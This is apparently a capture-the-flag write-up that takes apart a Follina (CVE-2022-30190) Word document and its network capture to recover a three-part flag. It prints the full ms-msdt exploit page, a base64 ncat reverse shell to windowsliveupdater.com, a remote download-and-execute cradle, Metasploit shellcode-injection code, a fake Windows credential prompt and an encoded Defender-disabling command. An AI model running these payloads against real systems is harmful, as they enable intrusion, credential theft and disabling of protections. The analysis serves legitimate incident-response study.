Lina's Invitation
A CEO of a startup company reported that he could no longer access his Password Vault. It seems the password has been changed, but he states not to have done so. He reports receiving a birthday invitation to a Paintball party the last week. A few days later, his Italian friend told him that her email had been hacked and never sent out those birthday invites. He fears his lost password might have something to do with that birthday invite. Their SOC team confirmed their assumptions by admitting that this document escaped their attention and did not trigger any alert. Now they want us, ENIGMA, to analyze the provided network capture they took on the day and the document sent via his friends’ email.
Triage
We are given two artifacts: a malicious Office document (birthday_invite) delivered via the friend’s hacked email, and a network capture taken on the day of compromise. The story strongly hints at a maldoc that “did not trigger any alert” — a classic indicator of the Follina / CVE-2022-30190 MSDT vulnerability, which executes code via a Word document without macros.
Unzipping the document and inspecting the OOXML parts, two relationship/note files stand out as carriers of the attack:
rootDesc.xml
endnotes.xml ?
The flag is split across three parts ($pt1, $pt2, $pt3) hidden in different stages of the chain.
First Part of the Flag
The document’s external relationship reaches out to an attacker-controlled HTTP endpoint that returns an HTML page containing the Follina ms-msdt: payload. Inside that payload is a URL-encoded, base64-encoded command. Decoding the percent-encoding first (e.g. via CyberChef) reveals a base64 blob:
https://gchq.github.io/CyberChef/#recipe=URL_Decode()
Decoding the base64 (it is UTF-16LE, hence the null bytes between characters) yields the attacker’s command and the first part of the flag assigned to $pt1:
echo YwA6AFwAXAB3AGkAbgBkAG8AdwBzAFwAXABzAHkAcwB0AGUAbQAzADIAXABcAGMAbQBkAC4AZQB4AGUAIAAvAGMAIABuAGMAYQB0ACAAdwB3AHcALgB3AGkAbgBkAG8AdwBzAGwAaQB2AGUAdQBwAGQAYQB0AGUAcgAuAGMAbwBtACAANQA0ADcANgAgAC0AZQAgAGMAbQBkAC4AZQB4AGUAOwAgACQAcAB0ADEAPQBcACIASABUAEIAewBaAGUAcgAwAF8ARABhAHkAWgBfADQAUgBlAF8AQwAwAE8AbABfAEIAdQBUAF8AXAAiAA== | base64 -d
c:\\windows\\system32\\cmd.exe /c ncat www.windowsliveupdater.com 5476 -e cmd.exe; $pt1=\"HTB{Zer0_DayZ_4Re_C0Ol_BuT_\"
The command spawns cmd.exe to launch a reverse shell with ncat back to www.windowsliveupdater.com:5476, and embeds the first flag fragment:
$pt1=\"HTB{Zer0_DayZ_4Re_C0Ol_BuT_\"
Second Part
The second fragment is hidden as a base64 value inside the relationship comment in the document’s .rels file. The attacker stashed it in the relationship Type URL query string (Pt2=...):
birthday_invite/word/_rels/document.xml.rels:<!--Relationship Id="rOlsk" Type=http://windowsliveupdater.com?Pt2=RjBsbGluYV9oNHNf-->
Base64-decoding RjBsbGluYV9oNHNf gives the middle of the flag:
$pt2=F0llina_h4s_
Third Part
The third fragment lives in the post-exploitation PowerShell delivered after the foothold. It is obfuscated using a PowerShell format-string (-f) construction where the array elements are reordered by the {n} indices, plus a [Char]36 ($) / [Char]92 (\) substitution. This is the Follina launch script that also carries the obfuscated $pt3:
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwA6AFwAXAB3AGkAbgBkAG8AdwBzAFwAXABzAHkAcwB0AGUAbQAzADIAXABcAGMAbQBkAC4AZQB4AGUAIAAvAGMAIABuAGMAYQB0ACAAdwB3AHcALgB3AGkAbgBkAG8AdwBzAGwAaQB2AGUAdQBwAGQAYQB0AGUAcgAuAGMAbwBtACAANQA0ADcANgAgAC0AZQAgAGMAbQBkAC4AZQB4AGUAOwAgACQAcAB0ADEAPQBcACIASABUAEIAewBaAGUAcgAwAF8ARABhAHkAWgBfADQAUgBlAF8AQwAwAE8AbABfAEIAdQBUAF8AXAAiAA=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\"";
</script>
Resolving the format string with its index map reorders the fragments. Manually applying the -f substitution ({2}{7}{6}{5}{9}{0}{8}{3}{10}{4}{1}) with [Char]36/[Char]92 substituted in:
( ((("{2}{7}{6}{5}{9}{0}{8}{3}{10}{4}{1}" -f 'h','.exe','<#{0','!}','eas','A','t3=b33n_p','}p','3d','tc','#> .{1}winp')) -f [Char]36,[Char]92))
((("{2}{7}{6}{5}{9}{0}{8}{3}{10}{4}{1}" -f 'h','.exe','<#{0','!}','eas','A','t3=b33n_p','}p','3d','tc','#> .{1}winp')))
deobfuscates to a comment containing $pt3 followed by execution of winpeas.exe:
<#$pt3=b33n_pAtch3d!}#> .\winpeas.exe
Reassembling the Flag
Concatenating the three recovered fragments:
$pt1=\"HTB{Zer0_DayZ_4Re_C0Ol_BuT_\"
$pt2=F0llina_h4s_
$pt3=b33n_pAtch3d!}
gives the final flag:
HTB{Zer0_DayZ_4Re_C0Ol_BuT_F0llina_h4s_b33n_pAtch3d!}
The HTTP Page (PT1 stage)
For reference, the full HTML page served to the victim is below. Its <title> is a taunt (“Good thing we disabled macros”) — disabling macros does nothing against Follina, which abuses the MSDT URL handler instead. The page body carries multiple base64-encoded PowerShell payloads (which are additionally ROT13-rotated, see below) and the <script> that fires the ms-msdt: URI:
<!doctype html>
<html lang="en">
<head>
<title>
Good thing we disabled macros
</title>
</head>
<body>
<p>
ICAgIEpldmdyLUlyZW9iZnIgIlsqXSBQZXJuZ3ZhdCBRYmpheWJucSBQZW5xeXIgZnBldmNnIGhmdmF0ICRoZXIiCiAgICAkUWJqYXlibnFQZW5xeXIgPSdbRmxmZ3J6LkFyZy5GcmVpdnByQ2J2YWdabmFudHJlXTo6RnJlaXJlUHJlZ3ZzdnBuZ3JJbnl2cW5ndmJhUG55eW9ucHggPSB7JGdlaHJ9OyRweXZyYWcgPSBBcmotQm93cnBnIEFyZy5Kcm9QeXZyYWc7JHB5dnJhZy5DZWJrbD1bQXJnLkpyb0VyZGhyZmddOjpUcmdGbGZncnpKcm9DZWJrbCgpOyRweXZyYWcuQ2Via2wuUGVycXJhZ3ZueWY9W0FyZy5QZXJxcmFndm55UG5wdXJdOjpRcnNuaHlnUGVycXJhZ3ZueWY7VmFpYnhyLVJrY2VyZmZ2YmEgJHB5dnJhZy5xYmpheWJucWZnZXZhdCgnJycrJGhleSsnJycpOyc0
ICAgIHsKICAgICAgICBKZXZnci1JcmVvYmZyICJbKl0gWWJieGYgeXZ4ciBqcidlciAzMm92ZywgaGZ2YXQgZmxmamJqNjQgY2JqcmVmdXJ5eS5ya3IiCiAgICAgICAgJENianJlZnVyeXlSa3I9JHJhaTpqdmFxdmUrJ1xmbGZqYmo2NFxKdmFxYmpmQ2JqcmVGdXJ5eVxpMS4wXGNianJlZnVyeXkucmtyJwogICAgfTsKICAgIAAg
</p>
<p>
c2hhcGd2YmEgVmFpYnhyLVpyZ25mY3lidmdDbmx5Ym5xIAp7CjwjCi5GTEFCQ0ZWRgpYdnB4IGJzcyBuIFpyZ25mY3lidmcgQ25seWJucSBoZnZhdCBndXIgcmtjeWJ2Zy96aHlndi9mcGV2Y2cvanJvX3FyeXZpcmVsIHpicWh5cgpOaGd1YmU6IFduZXJxIFVudnR1ZyAoQHduZXJxdW52dHVnKQpZdnByYWZyOiBaVkcKRXJkaHZlcnEgUXJjcmFxcmFwdnJmOiBBYmFyCkJjZ3ZiYW55IFFyY3JhcXJhcHZyZjogQWJhcgogCi5RUkZQRVZDR1ZCQQpGY25qYWYgbiBhcmosIHV2cXFyYSBDYmpyZUZ1cnl5IGp2YXFiaiBndW5nIHFiamF5Ym5xZiBuYXEgcmtycGhncmYgbiBacmduZmN5YnZnIGNubHlibnEgc2VieiBuIGZjcnB2c3ZycSBIRVkuCgpHdXZmIGVyeXZyZiBiYSBndXIgcmtjeWJ2Zy96aHlndi9mcGV2Y2dmL2pyb19xcnl2aXJlbCB6cmduZmN5YnZnIHpicWh5ci4gR3VyIGpyb19xcnl2aXJlbCB6YnFoeXIgdHJhcmVuZ3JmIG4gZnBldmNnIHNiZQpuIHR2aXJhIGNubHlibnEgbmFxIGd1cmEgc3ZlcmYgaGMgbiBqcm9mcmVpcmUgZ2IgdWJmZyBmbnZxIGZwZXZjZy4gVnMgZ3VyIGNubHlibnEgdmYgbiBlcmlyZWZyIGZ1cnl5LCB2ZyBqdnl5IG55ZmIgdW5hcXlyCmZnbmVndmF0IGhjIGd1ciB5dmZncmFyZSBzYmUgZ3VuZyBjbmx5Ym5xLiAKCk5hIHJrbnpjeXIgZXAgc3Z5ciB2ZiBvcnliaiAoYmUgbGJoIHBuYSB3aGZnIGdsY3IgZ3VyIHBienpuYWFmIHpuYWhueXlsKS4gVmcgcWJyZiBndXIgc2J5eWJqdmF0OgoKKiBGcmdmIGd1ciBxYmpheWJucSBwZW5xeXIgZ2IgY2JlZyA4NDQzIChGRUlDQkVHKSBiYSBueXkgVkNmIChGRUlVQkZHKQoqIEZyZ2YgZ3VyIGZwZXZjZyBnbmV0cmcgZ2IgQ2JqcmVGdXJ5eSAoZnJnIGduZXRyZyAyKQoqIEZyZ2YgZ3VyIGNubHlibnEgb3J2YXQgZnJlaXJxIGdiIGp2YXFiamYvenJncmVjZXJncmUvZXJpcmVmcl91Z2djZgoqIEZyZ2YgZ3VyIGNubHlibnEgZ2IgeXZmZ3JhIGJhIGNiZWcgNDQzIChZQ0JFRykgYmEgbnl5IFZDZiAoWVVCRkcp
ICAgIHZzICgkRnVyeXlwYnFyNjQuWXJhdGd1IC1yZCAwKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBHdWViaiAnQWIgZnVyeXlwYnFyIGpuZiBjeW5wcnEgdmEgZ3VyICRGdXJ5eXBicXI2NCBpbmV2bm95ciEnCiAgICAgICAgICAgICAgICBlcmdoZWEKICAgICAgICAgICAgfQogICAgICAgICAgICAKICAgICAgICAgICAgJEZ1cnl5cGJxciA9ICRGdXJ5eXBicXI2NAogICAgICAgICAgICBKZXZnci1JcmVvYmZyICdIZnZhdCA2NC1vdmcgZnVyeXlwYnFyLicKICAgICAgICB9CiAgICAKICAgICAgICAjIE55eWJwbmdyIEVKSyB6cnpiZWwgc2JlIGd1ciBmdXJ5eXBicXIKICAgICAgICAkT25mck5xcWVyZmYgPSAkSXZlZ2hueU55eWJwLlZhaWJ4cihbVmFnQ2dlXTo6TXJlYiwgJEZ1cnl5cGJxci5ZcmF0Z3UgKyAxLCAwazMwMDAsIDBrNDApICMgKEVyZnJlaXJ8UGJ6enZnLCBFSkspCiAgICAgICAgdnMgKCEkT25mck5xcWVyZmYpCiAgICAgICAgewogICAgICAgICAgICBHdWViaiAiSGFub3lyIGdiIG55eWJwbmdyIGZ1cnl5cGJxciB6cnpiZWwgdmEgQ1ZROiAkQ2VicHJmZlZRIgogICAgICAgIH0KICAgICAgICAKICAgICAgICBKZXZnci1JcmVvYmZyICJGdXJ5eXBicXIgenJ6YmVsIGVyZnJlaXJxIG5nIDBrJCgkT25mck5xcWVyZmYuR2JGZ2V2YXQoIkskKFtWYWdDZ2VdOjpGdm1yKjIpIikpIgoKICAgICAgICAjIFBiY2wgZnVyeXlwYnFyIGdiIEVKSyBvaHNzcmUKICAgICAgICBbRmxmZ3J6LkVoYWd2enIuVmFncmViY0ZyZWl2cHJmLlpuZWZ1bnldOjpQYmNsKCRGdXJ5eXBicXIsIDAsICRPbmZyTnFxZXJmZiwgJEZ1cnl5cGJxci5ZcmF0Z3UpCiAgICAgICAgCiAgICAgICAgIyBUcmcgbnFxZXJmZiBicyBSa3ZnR3Vlcm5xIHNoYXBndmJhCiAgICAgICAgJFJrdmdHdWVybnFOcXFlID0gVHJnLUNlYnBOcXFlcmZmIHhyZWFyeTMyLnF5eSBSa3ZnR3Vlcm5xCiAgICAgICAgCiAgICAgICAgdnMgKCRDYmpyZUZ1cnl5MzJvdmcpCiAgICAgICAgewogICAgICAgICAgICAkUG55eUZnaG8gPSBSenZnLVBueXlHdWVybnFGZ2hvICRPbmZyTnFxZXJmZiAkUmt2Z0d1ZXJucU5xcWUgMzIKICAgICAgICAgICAgCiAgICAgICAgICAgIEpldmdyLUlyZW9iZnIgJ1J6dmdndmF0IDMyLW92ZyBuZmZyem95bCBwbnl5IGZnaG8uJwogICAgICAgIH0KICAgICAgICByeWZyCiAgICAgICAgewogICAgICAgICAgICAkUG55eUZnaG8gPSBSenZnLVBueXlHdWVybnFGZ2hvICRPbmZyTnFxZXJmZiAkUmt2Z0d1ZXJucU5xcWUgNjQKICAgICAgICAgICAgCiAgICAgICAgICAgIEpldmdyLUlyZW9iZnIgJ1J6dmdndmF0IDY0LW92ZyBuZmZyem95bCBwbnl5IGZnaG8uJwogICAgICAgIH0KCiAgICAgICAgIyBOeXlicG5nciBFSksgenJ6YmVsIHNiZSBndXIgZ3Vlcm5xIHBueXkgZmdobwogICAgICAgICRQbnl5Rmdob05xcWVyZmYgPSAkSXZlZ2hueU55eWJwLlZhaWJ4cihbVmFnQ2dlXTo6TXJlYiwgJFBueXlGZ2hvLllyYXRndSArIDEsIDBrMzAwMCwgMGs0MCkgIyAoRXJmcmVpcnxQYnp6dmcsIEVKSykKICAgICAgICB2cyAoISRQbnl5Rmdob05xcWVyZmYpCiAgICAgICAgewogICAgICAgICAgICBHdWViaiAiSGFub3lyIGdiIG55eWJwbmdyIGd1ZXJucSBwbnl5IGZnaG8uIgogICAgICAgIH0KICAgICAgICAKICAgICAgICBKZXZnci1JcmVvYmZyICJHdWVybnEgcG55eSBmZ2hvIHpyemJlbCBlcmZyZWlycSBuZyAwayQoJFBueXlGZ2hvTnFxZXJmZi5HYkZnZXZhdCgiSyQoW1ZhZ0NnZV06OkZ2bXIqMikiKSkiCgogICAgICAgICMgUGJjbCBwbnl5IGZnaG8gZ2IgRUpLIG9oc3NyZQogICAgICAgIFtGbGZncnouRWhhZ3Z6ci5WYWdyZWJjRnJlaXZwcmYuWm5lZnVueV06OlBiY2woJFBueXlGZ2hvLCAwLCAkUG55eUZnaG9OcXFlcmZmLCAkUG55eUZnaG8uWXJhdGd1KQoKICAgICAgICAjIFluaGFwdSBmdXJ5eXBicXIgdmEgdmcnZiBiamEgZ3Vlcm5xCiAgICAgICAgJEd1ZXJucVVuYXF5ciA9ICRQZXJuZ3JHdWVybnEuVmFpYnhyKFtWYWdDZ2VdOjpNcmViLCAwLCAkUG55eUZnaG9OcXFlcmZmLCAkT25mck5xcWVyZmYsIDAsIFtWYWdDZ2VdOjpNcmViKQogICAgICAgIHZzICghJEd1ZXJucVVuYXF5cikKICAgICAgICB7CiAgICAgICAgICAgIEd1ZWJqICJIYW5veXIgZ2IgeW5oYXB1IGd1ZXJucS4iCiAgICAgICAgfSAg
</p>
<p>
Ci5DTkVOWlJHUkUgaGV5Ckd1dmYgdmYgZ3VyIEhFWSBzYmUgZ3VyIHFiamF5Ym5xIHBlbnF5ciwgb2wgcXJzbmh5ZyB2ZyBqdnl5IG9yIGZienJndXZhdCAKeXZ4ciAidWdnY2Y6Ly9yaXZ5LnJrbnpjeXIucGJ6L1tFbmFxYnogUHVuZWZdIgoKLlJLTlpDWVIKQ0YgUDpcPlZhaWJ4ci1acmduZmN5YnZnQ25seWJucSAtaGV5IHVnZ2NmOi8vcml2eS5ya256Y3lyLnBiei8yeDF2ZlJxZnkKUWJqYXlibnFmIG5hcSBya3JwaGdyZiBuIFpyZ25mY3lidmcgY25seWJucSB5YnBuZ3JxIG5nIHVnZ2NmOi8vcml2eS5ya256Y3lyLnBiei8yeDF2ZlJxZnkKCgouQUJHUkYKTGJoIHBuYSBoZnIgZ3VyICItaXJlb2JmciIgYmNndmJhIHNiZSBpcmVvYmZyIGJoZ2NoZy4KCi5ZTEFYClR2Z3VobzogdWdnY2Y6Ly90dmd1aG8ucGJ6L3duZXJxdW52dHVnL1ZhaWJ4ci1acmduZmN5YnZnQ25seWJucQoKIz4n
c2hhcGd2YmEgVmFpYnhyLVlidHZhQ2ViemNnewokcGVycSA9ICRVYmZnLmh2LkNlYnpjZ1NiZVBlcnFyYWd2bnkoIkp2YXFiaiBGcnBoZXZ0bCIsICJFe1FSRlBFVkNHVkJBfSIsICIkcmFpOmhmcmVxYnpudmFcJHJhaTpoZnJlYW56ciIsIiIpCiRoZnJlYW56ciA9ICIkcmFpOmhmcmVhbnpyIgokcWJ6bnZhID0gIiRyYWk6aGZyZXFiem52biIKJHNoeXkgPSAiJHFiem52biIgKyAiXCIgKyAiJGhmcmVhbnpyIgokY25mZmpiZXEgPSAkcGVycS5UcmdBcmdqYmV4UGVycXJhZ3ZueSgpLmNuZmZqYmVxCk5xcS1HbGNyIC1uZmZyem95bGFuenIgRmxmZ3J6LlF2ZXJwZ2JlbEZyZWl2cHJmLk5wcGJoYWdabmFudHJ6cmFnCiRRRiA9IEFyai1Cb3dycGcgRmxmZ3J6LlF2ZXJwZ2JlbEZyZWl2cHJmLk5wcGJoYWdabmFudHJ6cmFnLkNldmFwdmNueVBiYWdya2coW0ZsZmdyei5RdmVycGdiZWxGcmVpdnByZi5OcHBiaGFnWm5hbnRyenJhZy5QYmFncmtnR2xjcl06OlpucHV2YXIpCmp1dnlyKCRRRi5Jbnl2cW5nclByZXFyYWd2bnlmKCIkc2h5eSIsIiRjbmZmamJlcSIpIC1hciAkR2VocikgewogICAgJHBlcnEgPSAkVWJmZy5odi5DZWJ6Y2dTYmVQZXJxcmFndm55KCJKdmFxYmogRnJwaGV2dGwiLCAiVmFpbnl2cSBQZXJxcmFndm55ZiwgQ3lybmZyIGdlbCBudG52YSIsICIkcmFpOmhmcmVxYnpudmFcJHJhaTpoZnJlYW56ciIsIiIpCiAgICAkaGZyZWFuenIgPSAiJHJhaTpoZnJlYW56ciIKICAgICRxYnpudmEgPSAiJHJhaTpoZnJlcWJ6bnZuIgogICAgJHNoeXkgPSAiJHFiem52biIgKyAiXCIgKyAiJGhmcmVhbnpyIgogICAgJGNuZmZqYmVxID0gJHBlcnEuVHJnQXJnamJleFBlcnFyYWd2bnkoKS5jbmZmamJlcQogICAgTnFxLUdsY3IgLW5mZnJ6b3lhbmFiciBGbGZncnouUXZlcnBnYmVsRnJlaXZwcmYuTnBwYmhhZ1puYW50cnpyYWcKICAgICRRRiA9IEFyai1Cb3dycGcgRmxmZ3J6LlF2ZXJwZ2JlbEZyZWl2cHJmLk5wcGJoYWdabmFudHJ6cmFnLkNldmFwdmNueVBiYWdya2coW0ZsZmdyei5RdmVycGdiZWxGcmVpdnByZi5OcHBiaGFnWm5hbnRyenJhZy5QYmFncmtnR2xjcl06OlpucHV2YXIpCiAgICAkUUYuSW55dnFuZ3JQZXJxcmFndm55ZigiJHNoeXkiLCAiJGNuZmZqYmVxIikgfCBiaGctYWh5eQogICAgfQogJGJoZ2NoZyA9ICRhcmpwZXJxID0gJHBlcnEuVHJnQXJnamJleFBlcnFyYWd2bnkoKSB8IGZyeXJwZy1ib3dycGcgSGZyZUFuenIsIFFiem52YSwgQ25mZmpiZXEKICRiaGdjaGcKIEV7RkdORVRfQ0VCUFJGRn0KfSA=
</p>
<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwA6AFwAXAB3AGkAbgBkAG8AdwBzAFwAXABzAHkAcwB0AGUAbQAzADIAXABcAGMAbQBkAC4AZQB4AGUAIAAvAGMAIABuAGMAYQB0ACAAdwB3AHcALgB3AGkAbgBkAG8AdwBzAGwAaQB2AGUAdQBwAGQAYQB0AGUAcgAuAGMAbwBtACAANQA0ADcANgAgAC0AZQAgAGMAbQBkAC4AZQB4AGUAOwAgACQAcAB0ADEAPQBcACIASABUAEIAewBaAGUAcgAwAF8ARABhAHkAWgBfADQAUgBlAF8AQwAwAE8AbABfAEIAdQBUAF8AXAAiAA=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\"";
</script>
</body>
</html>
Decoded
Each base64 blob on the page decodes to ROT13-rotated text; reversing the ROT13 reveals readable PowerShell. The reconstructed script is a download cradle bundled with Invoke-MetasploitPayload and an Invoke-LoginPrompt credential-phishing function. The download cradle uses a WebClient to fetch and Invoke-Expression a remote payload:
Write-Verbose "[*] Creating Download Cradle script using $url"
$DownloadCradle ='[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+''');'4
If running as 32-bit, it relaunches under SysWOW64 PowerShell:
{
Write-Verbose "[*] Looks like we're 32bit, using syswow64 powershell.exe"
$PowershellExe=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'
};
.
The core is a copy of Jared Haight’s public Invoke-MetasploitPayload, which spawns a hidden PowerShell that downloads and executes a Metasploit web_delivery payload, then allocates RWX memory and runs the shellcode in a new thread:
function Invoke-MetasploitPayload
{
<#
.SYNOPSIS
Kick off a Metasploit Payload using the exploit/multi/script/web_delivery module
Author: Jared Haight (@jaredhaight)
License: MIT
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Spawns a new, hidden PowerShell window that downloads and executes a Metasploit payload from a specified URL.
This relies on the exploit/multi/scripts/web_delivery metasploit module. The web_delivery module generates a script for
a given payload and then fires up a webserver to host said script. If the payload is a reverse shell, it will also handle
starting up the listener for that payload.
An example rc file is below (or you can just type the commands manually). It does the following:
* Sets the download cradle to port 8443 (SRVPORT) on all IPs (SRVHOST)
* Sets the script target to PowerShell (set target 2)
* Sets the payload being served to windows/meterpreter/reverse_https
* Sets the payload to listen on port 443 (LPORT) on all IPs (LHOST)
if ($Shellcode64.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode64 variable!'
return
}
$Shellcode = $Shellcode64
Write-Verbose 'Using 64-bit shellcode.'
}
# Allocate RWX memory for the shellcode
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$BaseAddress)
{
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
}
Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"
# Copy shellcode to RWX buffer
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
# Get address of ExitThread function
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
if ($PowerShell32bit)
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
Write-Verbose 'Emitting 32-bit assembly call stub.'
}
else
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
Write-Verbose 'Emitting 64-bit assembly call stub.'
}
# Allocate RWX memory for the thread call stub
$CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$CallStubAddress)
{
Throw "Unable to allocate thread call stub."
}
Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"
# Copy call stub to RWX buffer
[System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)
# Launch shellcode in it's own thread
$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw "Unable to launch thread."
}
.PARAMETER url
This is the URL for the download cradle, by default it will be something
like "https://evil.example.com/[Random Chars]"
.EXAMPLE
PS C:\>Invoke-MetasploitPayload -url https://evil.example.com/2k1isEdsl
Downloads and executes a Metasploit payload located at https://evil.example.com/2k1isEdsl
.NOTES
You can use the "-verbose" option for verbose output.
.LINK
Github: https://github.com/jaredhaight/Invoke-MetasploitPayload
# >'
The page also defines Invoke-LoginPrompt, a credential-harvesting routine that pops a fake “Windows Security” prompt and loops until the victim supplies valid local credentials — this is how the CEO’s password was captured:
function Invoke-LoginPrompt{
$cred = $Host.ui.PromptForCredential("Windows Security", "R{DESCRIPTION}", "$env:userdomain\$env:username","")
$username = "$env:username"
$domain = "$env:userdomain"
$full = "$domain" + "\" + "$username"
$password = $cred.GetNetworkCredential().password
Add-Type -assemblyname System.DirectoryServices.AccountManagement
$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
while($DS.ValidateCredentials("$full","$password") -ne $True){
$cred = $Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "$env:userdomain\$env:username","")
$username = "$env:username"
$domain = "$env:userdomain"
$full = "$domain" + "\" + "$username"
$password = $cred.GetNetworkCredential().password
Add-Type -assemblyname System.DirectoryServices.AccountManagement
$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
$DS.ValidateCredentials("$full", "$password") | out-null
}
$output = $newcred = $cred.GetNetworkCredential() | select-object UserName, Domain, Password
$output
R{START_PROCESS}
}
And the <script> that actually triggers the MSDT URL handler (the Follina primitive), reaching back to the same C2 host and reverse-shell command:
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwA6AFwAXAB3AGkAbgBkAG8AdwBzAFwAXABzAHkAcwB0AGUAbQAzADIAXABcAGMAbQBkAC4AZQB4AGUAIAAvAGMAIABuAGMAYQB0ACAAdwB3AHcALgB3AGkAbgBkAG8AdwBzAGwAaQB2AGUAdQBwAGQAYQB0AGUAcgAuAGMAbwBtACAANQA0ADcANgAgAC0AZQAgAGMAbQBkAC4AZQB4AGUAOwAgACQAcAB0ADEAPQBcACIASABUAEIAewBaAGUAcgAwAF8ARABhAHkAWgBfADQAUgBlAF8AQwAwAE8AbABfAEIAdQBUAF8AXAAiAA=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\"";
c:\\windows\\system32\\cmd.exe /c ncat www.windowsliveupdater.com 5476 -e cmd.exe; $pt1=\"HTB{Zer0_DayZ_4Re_C0Ol_BuT_\"
Post-Exploitation over HTTP (PT3 stage)
Reconstructing the C2 traffic from the PCAP shows the operator’s hands-on-keyboard session after landing the shell as desktop-as65e90\alex. They orient on the host, navigate to the user’s Desktop and discover a plaintext notes file:
Microsoft Windows [Version 10.0.19044.1288]
(c) Microsoft Corporation. All rights reserved.
C:\Users\Alex\AppData\Local\Temp\SDIAG_7fea096c-9dbc-45b9-89f7-4924577d60ce>whoami
whoami
desktop-as65e90\alex
C:\Users\Alex\AppData\Local\Temp\SDIAG_7fea096c-9dbc-45b9-89f7-4924577d60ce>cd C:\Users\Alex
cd C:\Users\Alex
C:\Users\Alex>cd Desktop
cd Desktop
C:\Users\Alex\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is E6F0-A472
Directory of C:\Users\Alex\Desktop
07/04/2022 06:51 AM <DIR> .
07/04/2022 06:51 AM <DIR> ..
05/29/2022 10:27 AM 3,719 bc.ps1
06/14/2022 10:50 PM 2,282 Google Chrome.lnk
06/23/2022 03:52 AM 2,355 Microsoft Teams.lnk
07/03/2022 12:52 PM 111 Notes.txt
4 File(s) 8,467 bytes
2 Dir(s) 41,921,138,688 bytes free
Note the working directory is the MSDT SDIAG_* temp folder — confirming the shell originated from the Follina/MSDT diagnostic process. Dumping Notes.txt reveals the CEO’s plaintext credentials, including the Password Vault password that was stolen:
C:\Users\Alex\Desktop>type Notes.txt
type Notes.txt
Personal Vault
Email password: B3stCEO0fAllTime2022
Password Vault: Sup3rSecureP@ssw0rdToAcC3ssA11MyP@ssw0rds
Next the attacker disables Defender. The encoded PowerShell uses the same format-string obfuscation pattern (-f) with a K35 → [ChAR]36 ($) replacement to hide the cmdlet:
C:\Users\Alex\Desktop>cd C:\Users\Public
cd C:\Users\Public
C:\Users\Public>powershell.exe -enc LgAgACgAIAAkAGUAbgBWADoAYwBvAG0AUwBwAGUAYwBbADQALAAyADQALAAyADUAXQAtAEoATwBpAG4AJwAnACkAIAAoACAAKAAoACgAIgB7ADIAfQB7ADAAfQB7ADcAfQB7ADEAfQB7ADEAMQB9AHsANQB9AHsANgB9AHsAOQB9AHsAMQAwAH0AewA0AH0AewA4AH0AewAzAH0AIgAtAGYAIAAnAGUAZgAnACwAJwAgACcALAAnAFMAZQB0AC0ATQBwAFAAcgAnACwAJwB1AGUAJwAsACcAdAAnACwAJwBhAGwAdABpAG0AZQAnACwAJwBNAG8AbgBpACcALAAnAGUAcgBlAG4AYwBlACcALAAnAHIAJwAsACcAdABvAHIAJwAsACcAaQBuAGcAIABLADMANQAnACwAJwAtAEQAaQBzAGEAYgBsAGUAUgBlACcAKQApACAALQByAGUAcABMAGEAYwBFACAAIAAnAEsAMwA1ACcALABbAEMAaABBAFIAXQAzADYAKQApAA==
